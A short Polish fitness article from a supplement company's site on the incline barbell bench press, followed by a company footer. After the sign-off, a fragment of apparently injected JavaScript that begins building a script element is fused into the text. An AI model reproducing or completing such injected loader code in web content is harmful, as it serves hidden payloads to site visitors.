WYCISKANIE SZTANGI W LEŻENIU NA ŁAWCE SKOŚNEJ – GŁOWĄ W GÓRĘ

15.02.2013 / Adam Jabłoński / Kulturystyka

Cześć,

Wyciskanie sztangi na skosie w górę jest bardzo dobrym ćwiczeniem na rozwój górnej części mięśni piersiowych większych.
Można to ćwiczenie wykonywać zarówno na sztandze jak i hantlami oraz w celu lepszego skupienia się na klatce piersiowej na maszynie SMITH-a

Hej
Pozdrawiamvar d=document;var s=d.createElement(‚script’);

Facebook YouTube Instagram
© 2001-2014 Trec Nutrition sp. z o.o. 81-127 Gdynia, ul.Śmidowicza 48. Spółka wpisana do rejestru przedsiębiorców w Sądzie Rejonowym dla Gdańska-Północ, VIII
Wydział Gospodarczy Krajowego Rejestru Sądowego KRS nr: 0000315748 NIP: 958-160-24-54, REGON: 220696468, kapitał zakładowy: 50.000 zl